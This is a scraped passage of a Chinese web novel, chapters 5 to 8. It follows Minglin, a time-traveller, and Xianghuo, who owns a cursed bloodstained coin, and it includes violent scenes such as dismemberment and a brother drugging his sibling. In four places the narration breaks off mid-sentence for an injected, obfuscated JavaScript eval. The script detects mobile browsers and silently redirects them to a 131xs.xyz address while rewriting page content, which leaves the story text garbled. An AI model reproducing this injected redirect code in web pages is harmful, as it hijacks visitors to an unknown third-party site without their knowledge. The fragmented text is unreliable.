可是他千算万算,没有想到,他出门买菜的时候,追债的人闯进家里,翻箱倒柜的找钱,没有找到钱,反而找到了妹妹。 他们问妹妹,钱在哪里,妹妹说不知道,他们送了妹妹一颗糖,那是一颗吸引怪物的糖。 妹妹捏着那颗糖,另一个世界的怪物,就顺着那颗糖找了过来,妹妹被怪物围攻,铜币保护了妹妹,但这个保护是一次性的。 怪物们暂时退开,在附近虎视眈眈游荡着,寻找合适的机会,卷土重来,追债的人看妹妹居然没有死,还以为是怪物伪装的,提起刀就砍,把人砍成一块一块的,血溅得到处都是。 铜币落在地上,血就是这个时候染上去的。 提着菜准备回家的香火,感到心口一痛,跌倒在地上,但这痛苦转瞬即逝,他立刻意识到出事了,爬起来用最快速度冲回了家。 可惜,这个时候,妹妹已经救不回来了,追债人坐在他家的沙发上,开了他家的冰箱,一边喝酒,一边在血液和尸块里哈哈大笑。 他关上了门,提起刀来,把醉醺醺的追债人们,一块一块砍掉了,最后捡起了已经完全浸泡在血液里的铜钱,用清水冲洗之后,重新挂在了脖子上。 那之后,他就抛弃了从前的身份,开始逐步建立香火厂。也是从那个时候,他意识到,铜钱每救他一次,就要杀掉他身边一个人。 他之所以能活下来,不是因为铜钱手下留情,而是因为铜钱本来应该保护的,他的妹妹死去了,保护不再有效,死亡机制自然不必执行,所以,他活了下来。 看漫画的时候,明林考虑过,在香火买下铜钱之前,将其据为己有,看看能不能算作是拿走重要角色的重要物品。 但要,想随意在香火买下铜钱之前和之后穿梭,明林必须要有一个,可以让他选择性穿越时间和空间的东西。 在见到香火之前,他打听过了,有一个地方有那么一个东西,确实符合他的要求,只不过,那东西属于一个孤僻的小岛上的实验室。 实验室同意把东西给他,但要求他,为他们办一件事。 5. 第 5 章 明林同意了实验室的要求,答应为他们办事,实验室告诉他,在不远处的另外一座岛上,有一片茂密的森林,生活着一种群居的,有智慧的昆虫。 他们想要了解那种虫子的习性,但那种虫子非常排外,一旦有研究观察者潜入其中,被发现非虫族的身份,就会被立刻撕碎。 他们需要他帮忙,进入那座岛中潜伏,直到收集到足够的资料,他们满意之后,他才能离开那座岛,回到实验室。 他们才会把他要的东西交给他,一滴保存完好的,充满活力和危险性的,可以让人拥有穿越时空能力的血。 他独自一人上了岛,伪装成昆虫,开始收集资料,为了不被发现,他把自己变成了昆虫,出来的时候,他已经完全是只虫子。 只不过,这一次,他伪装成了一个因为努力伪装而残留了些许昆虫习性的人类,实验室的人没有发现破绽。 他们以为他是在岛上待的时间太长了,和那些虫子相处的时间太久,所以,暂时不太像正常人,对他表示理解。 他们告诉他,他要的东西已经准备好了,随时可以交给他,只不过他们要事先声明,他们并不知道,那东西有什么副作用。 简而言之,他们对他念了一篇免责声明,他勾选了同意,他们把东西交给了他,那东西装在一个玻璃瓶子里。 他把那东西吞了下去,他得到了他想要的穿越时空的能力,同时,他也逐步发掘了这东西的副作用。 这东西似乎是用打碎重组的方式来让他实现穿越,所以他必须在过程中保持清醒,神志不清或者昏迷,无法达成目的。 其次,他无法短时间内反复穿越,每当选择一个时间地点进行穿越,他必须要在那个时间里待上一段时间,才能继续下一次。 最后,在别人看来,他的穿越是一瞬间的,但对他而言,每一次需要的时间都不一样,因为每一次需要忍受的被打碎的疼痛长短,都是不一样的。 不过,不知道是不是因为那滴血,除了穿越时感受到的疼痛,大部分时间,他的痛感约等于零。 不是完全察觉不到,只是,但凡他想忽略,那疼痛就会变得很容易消失,老实说,他觉得这很酷,接受非常迅速。 为了仔细研究一下,他进行了针对现有身体的实验,后来发现,如果他把自己搞死,他会得到一具新的身体。 这应该源于岛上的昆虫,他们会在活到想死的时候自杀,死后的尸体里会爬出一只新的处于完全体的虫子,相应的,原本的尸体会变成灰烬。 不过,明林得到新身体之后,仍然可以控制原来的那具身体,不管是控制原来那具身体变成灰烬消失掉,还是像没有新身体时一样,控制原来的身体行动,他都做得到,而且很简单。 到这个时候,基本工作已经准备完成,他开始尝试去接触准备买下染血铜钱的香火。 天色有些灰蒙蒙的,地上湿漉漉的,风从远处吹过来,是一种微妙的冷意,大概前不久刚下了雨,虽然雨停了,但雨水还在。 从树下路过的时候,也有可能会被树叶存下来的雨滴打中,冷得人一哆嗦。 明林从街上经过稀疏的人群,观察着两边的小摊,等他找到卖铜钱摊子的时候,天上那种灰蒙蒙的云已经散了些,地面也干了不少。 摊主坐在一个交叉的简易便携木头小矮凳上,面前是一张桌子,桌子上铺了一块布,布上面就是商品,除了铜钱,也有别的。 他不太确定这些铜钱里面哪一个是他要的铜钱,所以站在摊子面前挑了一会儿,好像很难决定究竟要买什么的样子。 没过多久,从街上路过的香火停在摊子面前,一眼看中了一块铜钱,问了价格就要买下来。 明林站在旁边看着,偷偷数了一下那块铜钱的位置,放在摊主前面,第四排第三个,香火忽然看了他一眼,拿着手里的铜钱,向他问:“你想要这个吗?” 他愣了一下,下意识想要拒绝,虽然他是为了这个来的,但如果,这个铜钱不是香火最后拿着的那一块,他拿走了也没有用。 更何况,他本来的打算是,等到香火买走了东西之后,穿越到香火买东西之前,来这里提前买走香火要买的那一块。 香火真要是愿意送给他,不仅会打断他本来的安排,还会导致他在香火那里留下印象,虽然他现在用的这具身体,随时可以丢弃掉,但身体这种东西,丢弃的前提是去死,如果能用得更长久一些,总是更好一些。 香火见他愣住,笑了笑,拉起他的手,把手里的铜钱放在他手心里,转头又从摊子上拿走了一块,一边掏钱一边对老板说:“我都买了。” 明林愣了一下,犹豫着把那块铜钱拿在手里,又瞥了一眼旁边摊子上的空缺,垂着眼睛,低声说:“其实你不用给我买,我带了钱的。” “我知道,”香火笑眯眯对他说,“既然出来逛街,肯定是带了钱的,只不过,我想买了送给你,你就收下吧。” “为什么?”明林看着他问。 “可能是,”香火想了想,微笑着说,“你让我想起了我妹妹吧。” 明林默默把铜钱揣进兜里,想着之后应该了解一下他妹妹的资料,对他说:“谢谢。” “不用客气。”香火笑着说完,转身走了。 离开那条街之后,明林等到了可以重新使用穿越能力的时间,穿越来到了那条街刚刚热闹的时候,香火还没来得及把铜钱买走。 他摸了摸自己的口袋,口袋里面那枚香火给他买的铜钱已经不见了,他走到了卖铜钱的摊主面前,把香火上一次买走的铜钱买了。 但是他发现,香火这一次仍然买走了一枚铜钱,他离开了之后,开始翻阅漫画,漫画的内容和之前一样。 看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466824|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他没能拿走香火的重要物品,不管他提前多少次,买走多少次,买走多少枚,结果都一样,这条路走不通。 他叹了一口气,开始翻阅漫画中关于香火妹妹的内容,发现漫画中关于这个配角身边的配角,描画并不多。 窗外忽然一声炸雷,躺在客房床上的明林猛然一惊,直直坐了起来,紧接着是呼啸的鬼哭般的风声,纱窗被吹得哐哐响。 已经拉上的窗帘,因此一时紧贴在窗上,见了鬼似的挣扎,一时往前飘去,像是一个巨大的,敞开的,通往异世界的口袋。 他从床上起身去关窗,窗外的雨哗啦一声落下,被风吹得直往他脸上打,他把玻璃窗关上,重新拉好窗帘。 偃旗息鼓的窗帘像是被倒吊着悬挂在晾衣绳上晒干的酸菜一样,蔫巴巴不动了,明林从飘窗上下来,刚到床上,就听见了敲门声。 他问:“有什么事吗?” 香火站在门外,有些惊讶,本来以为他只是可能被雷声吵醒,没想到,听说话的声音,他似乎根本没有睡着,一直都是醒着的,以至于有些迟疑说:“外面好像下雨了,你记得关窗户,不然,飘窗上要积水的。” “我知道,我已经关了。”明林坐在床上,神色有些紧张,声音已经下意识冷淡起来,抹了一把脸回答。 香火听见他的声音,还以为他不想多说什么,点头道:“那就好。”说完,香火转身要走,横竖他们的房间不过一两步,也不远。 明林听见他好像要走,想要挽留一下,又不知道应该怎么说,伸手往床头柜上摸了摸,想找水杯,不小心把杯子碰倒了。 那要是个塑料杯子,倒也没什么,偏偏是个玻璃杯,里面还有一只又细又小的勺子,还有一点水。 倒下去的声音在暗沉沉的黑夜里,显得格外清晰,明林猛然一惊,立刻从床上下去,试图开灯看看杯子究竟倒在哪儿了,顺便擦擦桌子上的水。 香火听见声音,也不知他怎么了,也吓了一跳,转身就敲了敲门,说了一句不好意思,还没等里面反应,就立刻把门打开了。 他打开门开了灯,一个箭步冲了出去,明林猝不及防,被突然打开的灯光晃了一下眼睛,一时没顾得上杯子,差点栽倒。 他一看见这情况,还以为明林本来就是要摔倒,才不小心打翻了杯子,立刻就把人扶住了,这时候,明林的眼睛已经渐渐看得见了。 香火不知道,一边重新把人扶回床上,一边道歉:“对不起,我不是故意不经你的允许就到房间里来,也不是想打扰你休息才开的灯,我刚才听见声音,还以为你出什么事了。” “没出什么事,”明林拂开他,伸手要去扶桌上的杯子,“你可以回去了。” 香火顺手替他把桌上的杯子扶起来,抽了两张纸,擦了桌上的水,把纸团丢进垃圾桶:“我不回去,我害怕,我想待在你这。” 6. 第 6 章 明林眯着眼睛把香火的脸看了看,实在看不出他有任何害怕的样子,感到疑惑,缓缓皱起眉,几乎有些真心实意问:“害怕什么?” “害怕风声。”正巧这个时候,窗外闪了一道惨白的电光,呼啸的风声又呜呜叫了起来,香火一把将明林抱住,毫不犹豫回答。 明林仍然感觉不出来他在害怕,不过,他要是留下来,对明林也未必没有好处,或许,明林可以趁机拉近关系。 香火的妹妹不是在睡前听过一首曲子? “那你就待在这儿,”明林顺手拍了拍他的后背,以一种淡淡的仿佛敷衍又仿佛安慰的语气说,“早点睡吧,明天我还有考核呢。” 香火说自己害怕,确实是假的,不过在明林安慰他的一瞬间,他下意识抱紧了已经在怀中明林,想起自己身边死去的那些人,希望这一瞬间能更长一些,这是真的。 明林等了一会儿,发现他没松开,正要问一问,他是不是想拿什么,他就回过神来,自己把手松开了,叹着气说:“我实在太害怕了,不想一个人回房间去,拿那些枕头被子,我可以用你的吗?” 明林一开始倒没想到这个,不过他提了这么一下,明林就往身后瞥了一眼,枕头被子确实是不缺的,但也只有一套。 如果香火不回房间,去拿自己的东西过来,他们得凑合着一起用,反正这不是他的住处,客房里的东西也不属于他,他倒不是很在乎这个事儿。 但他突然想到了岛上的昆虫,一时间有点怀疑自己晚上会不会做点什么,万一不小心在睡着之后,把人杀了,那就不好了。 香火把他脸上的迟疑看在眼里,仗着他没有把自己赶走,直接越过他上了床,掀开他的被子,半躺在床上,冲着他拍了拍自己身边的空位,反客为主说:“上来吧,不是要早点睡吗?” 明林慢吞吞上了床,躺在他旁边,伸手要去拿他手里的被子,他把被子盖在明林身上,笑眯眯拍了拍说:“睡吧。” 明林本来也没有很困,现在倒是不太睡得着了,坐起身来说:“我去关一下灯。” “我去吧。”香火翻身而起,把灯关了又跳回来,在床上裹起了被子,仿佛一只在油锅里滚动的炸春卷,一咕噜滚到了明林的身边,撞到人才停下来。 这个时候,窗外又响起了呜呜的风声,香火忽然用手指轻轻戳了戳明林,小心翼翼问:“你可以抱我吗?我真有点害怕。” 不知是不是因为灯关了,房间里一片漆黑,明林睁着眼睛也看不清楚香火脸上的表情,这下真有点分不清,他是不是装的了。 “我不。”明林毫不犹豫拒绝了他,不管他是不是装的,明林都不觉得他需要这个,更何况,现在确实很晚了。 “你睡得着吗?”香火翻了个身,听着窗外狂风暴雨的声音,鼻尖里嗅到从窗户缝里溜进来的湿润的水汽,背对着他问。 “睡不着能怎么样?”明林转过身来,想到医院里瓶瓶罐罐的药品,摸了摸口袋,掏出一颗咖啡豆塞进嘴里,嚼得咔咔响问。 香火本来听着风雨声有些伤感,结果忽然察觉背后响起了咔嚓咔嚓的声音,有点哭笑不得说:“可以唱首摇篮曲,也许唱完就睡着了。” 明林把咖啡豆吞下去,想了想,伸出胳膊揽过他的肩,把他抱在怀里,拍拍他的后背,轻轻幽幽唱道:“一闪一闪亮晶晶,满天都是小星星……” 香火说那话,是随口说的,本来也没当一回事,因为并不指望他真能给自己唱一首摇篮曲,但现在听见他唱这首歌,浑身微不可查一震,皮肤底下的每一寸肌肉都绷紧了,一种不可思议的姿态。 “你怎么挑这首歌唱?”香火犹豫半晌,缓缓抬起头来,紧盯着近在咫尺的明林的脸,充满迟疑问。 “一时间只记得这个,”明林耸了耸肩,忽然摸到香火脖子上的项链,顿了顿,垂着眼睛说,“其实,从前我哥给我唱过这首歌。” “你还有哥?”香火大为震惊,他还以为明林这种样子的人根本没有什么兄弟姐妹。 “有,”明林的声音像是从很远的地方飘过来的,回答说,“他说他只会这个,也就只给我唱过这个,后来人就不见了。” “怎么会不见了?”香火疑惑问。 “莫名其妙就不见了,”明林低声说,“难道这种事还少吗?” “那你是怎么到那地方去的?”香火略一犹豫,并不完全相信他的话,试探着问。 “那就与你无关了。”明林猛然将他一推,转过身去,不再说什么了。 香火不知自己是惹恼了他还是触及了他的伤心事,犹豫半晌,想说点什么道歉或者安慰他,又怕自己说的不好,终究是沉默了。 明林在确认,自己将要从香火这个重要人物手里获取重要物品之后,就开始考虑,要怎么才能接近他。 孤儿,从小在精神病院长大,精神病里出来的,货真价实的疯子,被亲哥一点一点折磨疯的人。或许是不错的主意。 这种背景当然要去精神病院走一走,不然,演得不像就不好了。至于精神病院,也不是他挑的,是精神病院挑了他。 那时候,他扮演的是明明,明林的亲哥,正走在路上寻找招聘启示,见到路边拿着传单的人,说需要招聘精神病院工作的护工。 工资很高,要求只要力气大,够听话,愿意常年待在精神病院,就可以,节假日和周末还有休息时间,非常不错的条件。 那个人一手拿着传单,一手拉着他问:“要不要去精神病院看看?工作环境真的很好!过了这个村可就没有这个店了!饭也不错!” 他就说:“那去看看吧。” 那个人立刻抬手招了一辆车,把他推了上去,坐在他旁边,对司机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466825|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了地址,司机点了点头,把他们送到了精神病院门口。 精神病院里面,走出来两个穿着整齐的人,一个中年男人,一个年轻女人,看上去,像是领导和护士,笑容满面,迎了上来。 “你就是要来我们这儿工作的人吧?欢迎欢迎!我们这里常年都缺护工的,能有人来,我们可太高兴了,快请进!我们带你参观一下吧?”两个人说着,就一左一右拉住他,把他往里面带。 他已经察觉出不对,但还是没能立刻就走,因为他确实需要钱,也仍然觉得,在这里当护工确实是一份待遇不错的好工作。 那两个人把他带到了,监狱一样的走廊里,这里的门和窗都是有栏杆的,门口是上了锁的,需要指纹和密码,否则打不开。 他们告诉他:“要在这当护工,首先要了解这里的生活方式和病患情况,你可以当做是实习,你要待在这里三个月,三个月之后,你就可以转正,正式工的工资可比实习工高多了,还有保险呢,你换身衣服,就努力吧。” 他已经非常觉得不对了,他有一点慌乱,往周围看了看,确定自己没有突然跳出去的机会,带点祈求,望着面前的两个人说:“我改主意了,我现在不打算在这里工作了,请让我走吧,我弟弟还在家里等着我呢,他只有我了,我不能不照顾他,离开我,他活不下去的。” 他说着就要向门口走去,没有人阻拦他,他们只是站在旁边,一脸微笑看着他,好像他已经是这里的病人一样。 他走到门口,根本打不开门,只好抓住门上的铁栏杆,像一个监狱里的犯人一样摇晃起来,那扇门发出哐哐的响声,但一点也不打开,他所做的一切都是徒劳无功。 三个月之后,他一脸微笑坐在病床上,歪着头,拿着手机,贴着屏幕,声音甜得如同即将浸出蜜来:“我找到了一个好工作,这边可以带家属,你过来陪我一起住吧?我现在就去接你,这边会派车,你收拾一下。” 明明找到了明林,明林跟着他上了车,车子停在了精神病院的门口,明明拉着明林走了进去。 “你做的很好。”一个中年男人站在走廊中对明明微笑。 明明以同样的微笑回应他,点了点头,手里还拉着明林:“我把他带来了,只有一个要求,我要负责关于他的一切。” 对面的人微微挑了挑眉,目光在他们之间转了一圈,像个塑料模特一样微笑着问:“你确定吗?” “我确定。”明明点了点头,拉着明林的手,转过头来对他说:“我会负责到底的。” 明明轻轻摸了摸明林的头,一脸和从前如出一辙的怜惜,好像这三个月并没改变他一点,十分温和说:“我会,好好,照顾你的。” 明林将信将疑望着他,有一点害怕,握紧了他的手,好像突遇暴雨时试图躲进屋檐,却不知道,砸死他的,就是这片屋檐。 7. 第 7 章 中年男人专门给明林安排了一个病房,这个病房并不在地上,而在地下,因为非常隐蔽,所以隔音也做得很不错。 墙角上挂着三百六十度可旋转的灵活监控摄像头,摄像头闪着红点,像一捆定时炸弹,一闪一闪的,总有种即将炸开的感觉。 墙角贴着绿色的安全出口的灯牌,暗沉沉亮着,像一股阴冷的潮水,裹着下水道的恶臭,带着毛茸茸的苔藓,一点一点漫了进来。 明林已经换上了一身精神病的病号服,白底蓝条纹,像是把监狱的栏杆穿在了身上,他那时还没意识到,从他穿上了这身衣服起,他就再也不能摆脱这个地方了。 为了省电,或者说,为了避免电费上出现破绽,地下室只有摄像头和灯牌亮着光。 明林一个人待在一片漆黑的房间里,起初有些害怕,拉着明明的手,不愿意松开,请求他陪着自己。 明明答应了,和他躺在床上,盖着同一床被子,枕着同一个枕头,把他抱在怀里,好像抱着的,是一个幼小稚嫩的婴儿。 也就是那个时候,明明对明林唱了那首歌,声音轻轻的,像充满迷雾的森林里,一只慢条斯理迈着步子,在挂满了血淋淋的猎物的尸体的树枝上,哼着胜利曲的伯劳鸟:“一闪一闪亮晶晶,满天都是小星星……” 明林尚且不知自己未来的命运,但确实在这温和的摇篮曲的调子里渐渐沉睡过去,等他醒过来的时候,身边已经空无一人。 他猛然间翻身从床上坐起来,伸手摸到旁边已经冰凉的床单,他就知道,明明已经走出去很久了,他有些慌乱,但他想到,明明应该还在附近,就觉得还好。 他的眼睛在黑暗里适应了一阵子,他开始在床边摸索,床边有一个床头柜,是栗子色的,或许很旧了,有一点斑驳,不过在黑暗里,这完全是小事。 他摸到床头柜上有一张纸条,那纸条上面是一个圆形的亮面透明玻璃杯,里面装着半杯清水,他先拿起杯子喝了水,之后看那张纸条。 毫无疑问,纸条是明明留给他的,他努力在一片黑暗中分辨那纸条上的字迹:我去工作了,很快回来,乖乖等我。 明林就在那个房间里等待他回来,那个房间里面没有灯,不管是顶灯还是台灯,还是小夜灯,通通没有,除了床和床头柜,也没有别的东西,因为无聊的时候,明林打开了那个床头柜的抽屉和柜子,发现里面是空的。 他等得实在无聊,躺在床上睡了,睡了醒过来,醒过来又睡过去,因为周围没有时间,也分不清自己究竟待了多久。 他觉得有点饿,在房间里走了一圈,没有找到任何食物,把水杯里最后一滴水倒出来喝了,又躺回床上睡着了。 等到他醒过来的时候,明明已经回来了,不知什么时候坐在他旁边,一脸微笑注视着他。 他睁开眼睛坐起身来,闻到旁边有食物的味道,转过头去,迷迷糊糊发现旁边放着一杯奶茶和一个汉堡,顿时眼前一亮。 “是给我的吗?”他充满渴望,一脸期待,望着明明问。 明明微笑着摸摸他的头发,十分温和说:“当然是给你的。” “我可以现在就吃吗?”明林迫不及待伸出手去,望着明明问。 明明点了点头,把食物递给他:“吃吧。” 摄像头注视着他们,监控录像屏幕后面的人背着手看着,中年男人微笑着问:“你说,他真会把那东西给他弟弟吃下去吗?” 年轻女人站在旁边回答:“大约会,他不是已经答应了吗?他可没有退路。他知道后果的。” 屏幕里,吃光了食物的明林开始感到腹痛,缩成一团,躺在床上瑟瑟发抖,额头冒出一层又一层的冷汗,脸色惨白,不由自主握起了拳头,闭上了眼睛,呼吸急促而不规律。 他忍不住抓着明明的手喊:“哥,哥,你有没有止痛药?” “有啊,”明明微笑着,目不转睛注视着他,用手背一点一点轻轻擦掉他额头上的冷汗,十分温柔握住他的手,“我可以给你。” 明林紧缩成一团,像是一颗被敲碎了壳的核桃,点了点头,松开明明的手,拉住了他的衣服。 明明慢条斯理从衣服兜里掏出来一个雪白色的药瓶子,瓶子上什么标签也没有,不过在一片黑暗的房间里,在剧烈痛苦中的明林并没察觉到这一点,他是后来才想起来的,不过,那个时候,什么都晚了。 明明把那个药瓶拧开,倒出了一颗雪白的药,摊在手心里,怔怔看了一会儿,明林痛得忍不住扯了扯他的衣服:“哥……” 明明把药给他,扶他坐起来,从衣兜里掏出一小瓶大概只有二十毫升的水,让他把药吃了,把他抱在怀里,像是抱一只老旧的破损的即将被丢弃的棉花娃娃。 他觉得痛,喊了一声,明明松开了手,脸上的神色有一瞬间完全消失,像是一块被擦得干干净净的白板,什么也没有。 明林不知他怎么了,又惊又疑望着他,他的脸上又恢复了那种熟悉的,镇定的,好像不会改变的微笑,松了松手,轻声安慰道:“不好意思,刚才弄疼你了?那你休息吧?我,先走了?” “不要走。”明林拉住了他。 明明留了下来,像是无可奈何,又像是有一丝一闪而过的讥讽,那张脸上仍然微微笑着,仿佛不管发生什么都不会改变态度,语气轻轻,对他说:“那好吧,我陪你。” 摄像头之外,明亮的办公室一样的监控室内,中年男人呵呵笑着:“看来,三个月足够改变一个人了。” “他的抵抗是无用的,他的弟弟,”年轻女人在旁边微笑,“也注定要为我们做出牺牲,这是他们的荣幸。” “走吧,”中年男人点了点头,目光赞许看了年轻女人一眼,随后转过身向门口走去说,“没有继续看下去的必要了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466826|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人点了点头,跟着走了出去。 咔哒。 明林猛然从客房的床上醒了过来。 “你醒了?”香火打开门,站在门口,看着他,想起他昨天晚上,仿佛流泪的样子,有些犹豫,试探着问:“你还好吗?” “没事,”明林下了床,走到门口,一脸平静问他,“什么时候开始考核?” “这个不急,”香火笑着摇了摇头,拉住他,带到桌边说,“我做了早餐,吃完,之后再谈考核的事吧?” “好的,”明林垂眼看着桌上新鲜的食物,一杯冰牛奶,一份全麦面包吐司片夹生菜番茄煎蛋火腿肠切片三明治,搭配番茄酱和沙拉酱,还有一份炸薯条,点了点头,“谢谢。” “这个蛋是我特意用很圆的小黑锅油煎出来的,边上焦焦脆脆的,特别好吃,”香火歪头看着他,笑眯眯说,“是不是很漂亮?” 明林洗漱之后坐在他对面,拿起三明治啃了一口,一边品尝里面的食物,一边点头说:“很漂亮。” “那就好!”香火松了一口气。 虽然他对自己的厨艺很自信,但看见明林脸上几乎没有表情的时候,还是有些紧张,有一种在比赛大会上即将接受评委审判的感觉。 他不再说话,低下头去,把自己的早餐吃光了,抬起头来的时候,明林面前的杯子和盘子已经空了,正默不作声,用那双漆黑的眼睛注视着他,配上那张惨白的脸,像应该放在柜上的瓷娃娃,忽然活过来了。 香火吓了一跳:“怎么?” “没什么,”明林想了一想,站起身来,伸出手去,把餐具拿走了,“我去洗吧。” 香火有些犹豫,一路跟着他到了厨房说:“还是我来吧?你看起来不像是应该洗碗的样子。” “那像什么?”明林把餐具放在灶台上,转头看着他问。 “像应该坐在旁边等我的样子。”香火说这话的时候没过脑子,说完了察觉这话仿佛有些歧义,眨巴眨巴眼睛,笑嘻嘻试图把事情混过去:“还是我来吧,哪有让客人动手的道理?” 他说着,撸起袖子,挤开了明林,打开水龙头,立刻洗了起来。 明林站在旁边看着他,他把头低了下去,用最快速度把所有东西都洗了一遍,直到不得不抬起头来,笑眯眯说:“干嘛这样看着我?像教导主任似的。” “只怕我当不了教导主任,”明林垂着眼睛,“什么时候开始考核?” “先去香火厂吧。”香火看了一眼时间。 二人到了香火厂,其他人已经陆陆续续来了,看见他们一起出现,都有点惊讶,不由自主去看老员工,像是看一个被抢走猫的可怜人。 老员工插着兜哼着曲,笑嘻嘻迈着跳舞的步子进来了,和众人的目光一对上,有些不明所以,转头发现明林和香火就站在旁边,张开双臂就对着明林扑上去:“你来了!” 8. 第 8 章 明林被撞了一下,香火皱着眉头,把老员工从明林身边拉开,低声道:“你怎么能随便撞人呢?打招呼就好好站直了不行吗?” 老员工歪着头笑眯眯看着他,一种有点诡异的笑,慢悠悠问:“他还没什么意见呢,你怎么就先开口了?老板,我可不是今天才这样打招呼的呀。” 香火下意识往旁边看了一眼,明林正在微笑,和之前那种笑起来非常危险的样子,一点也不一样,现在看起来阳光开朗极了,甚至有点过头,以至于像是扑火的飞蛾。 香火迅速把目光转了回去,老员工已经把脸凑了过来,像恐怖片里的鬼一样,盯着他问:“怎么还要看别人呀?你想要他说话还是不说话?你怕他站在我旁边吗?这很奇怪。” “哪里奇怪了?”香火一把将他推开,转头往旁边走了两步,拉开距离,悄悄松了一口气,冷着脸,一副严肃的样子,好像是完全公事公办问。 老员工目光如炬,轻轻挑了挑眉,似笑非笑说:“要不,我们问问另外一位当事人?” 他说着便扑过去,长臂一伸揽住了明林的肩膀,像一只撞上树的兔子,甚至晃了晃,向明林问:“你觉得我对你好不好?” 明林沉默了一会儿说:“挺好的。” 老员工很高兴得到这样的回答,笑眯眯看了一眼香火,香火莫名觉得他目光里带点挑衅和得意,于是看向了站在他旁边的明林。 老员工见此情形,又迫不及待问:“那你喜不喜欢我?” “不喜欢。”明林毫不犹豫说。 香火听见明林的回答,心中一喜,微微睁了睁眼睛。 老员工瞪大眼睛,倒也并不太意外,只是摇晃着他,仿佛准备制造一瓶即将一飞冲天的可乐,多少带点不甘心问:“为什么?为什么?” 香火也不等回答,立刻走过去,把二人分隔开来站在中间说:“不要再问了,你想自取其辱吗?你来应该是有事要做吧?别站着了!现在就去吧!” 枫叶挑了挑眉,看了一眼时间说:“可是现在还没到上班时间啊。” “那你就提前准备着,”香火挥了挥手,“难道你来不是为了这个?总不会是为了,到这儿来玩儿吧?我可不觉得这里有什么好玩的。” 枫叶似笑非笑说:“这里可好玩了,尤其是这块空地,想干什么都合适,你不在的时候,我早就玩过了。” 他说完,转头要走,忽然又顿了顿,想起什么似的,转过头来,一脸微笑背着手说:“对了,你把小林仔托付给我之后,我可带着他在这好好的,玩了一阵子呢!” 香火愣了一下,枫叶哈哈大笑,转身走了。 “总之,”香火有很多问题想问,但觉得在广场上当着一群人的面,实在不合适,不管对面是什么回答都不合适,走到明林身边,一把拉住他,拽着走了,“我们先去挑任务吧。” 明林被他带到办公室,香火掏出了平板电脑,递给他说:“现在开始挑你的任务吧。” 明林接过电脑,有些犹豫问:“考核的任务居然可以让我自己挑吗?其他人也是这样?” “其他也是,”香火对其他人并不感兴趣,因此回答这个问题十分敷衍,随便点了点头说,“你挑吧。” 明林点了点头,看着电脑,挑选起来,香火看着他,顿了顿,解释说:“我已经提前把符合你考核标准难度的任务挑出来了,所以,不管你挑哪一个,都没问题的。” “也就是既不会太难,也不会太简单了?”明林抬眼看着他,微不可查挑了挑眉,似笑非笑问。 香火被他笑得愣了一下,不知道他是在开玩笑,还是在以防万一所以确认情况,瞳孔晃了晃,垂下眼睛说:“如果你需要更简单的,我也可以给你找出来,不过,只能给你看一看。” 这话前半句听着像挑衅,后半句听着像玩笑,但明林实在分不出来,他究竟什么意思,就只当什么也听不出来说:“别了,我担心你给我找更困难的,我还看不出来。” 香火猛然间抬起头来,实在不敢相信自己耳朵,因为这话听起来,真有点像是开玩笑,不过,看着明林脸上平静的表情,又有点怀疑自己的判断,犹豫说:“那你挑好了吗?” “这个吧。”明林把手里的平板电脑转过去,给他看屏幕,指着上面被放大了的那一个说。 香火定睛一看,站起身来,把平板电脑接了过去,皱着眉头,有些不高兴问:“你知道如果你接了这个任务,我就不能一直跟在你旁边吗?” 明林看着他挑了挑眉,他突然意识到自己说出来的话好像有点不对,有一瞬间的慌乱,把平板电脑放在桌上,随后面不改色说:“作为你的监管者,如果我不能一直看着你考核,谁知道你有没有作弊呢?这对别人不公平。” 他说句话倒不是为了指责明林一定会作弊的意思,但他这么说出来,又有点担心,可能会被误会,就抬眼看向明林。 明林垂着眼睛,面色平静,仿佛并没放在心上,又有点像是生气,瞥了一眼桌上的平板电脑说:“我想你买得到监控摄像头和录音笔。” 香火吃了一惊,知道自己假如要装个好人是应该拒绝的,但又实在不想失去这个好机会,犹犹豫豫,瞪大眼睛问:“你是说?” “我愿意随身携带微型摄像头和录音笔保证,”明林直视着他,语气平静,仿佛只是在说下雨应该打伞一样,“监管顺利进行。” 香火倒吸一口凉气,有一种天上掉下来一千万砸中了自己的感觉,甚至来不及高兴,只觉得震惊和不可思议。 明林顿了顿,垂下眼睛,一副十分听话的好下属的样子说:“毕竟,我去执行任务是为了通过考核,不是为了搞砸。” 香火有预感,他要说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 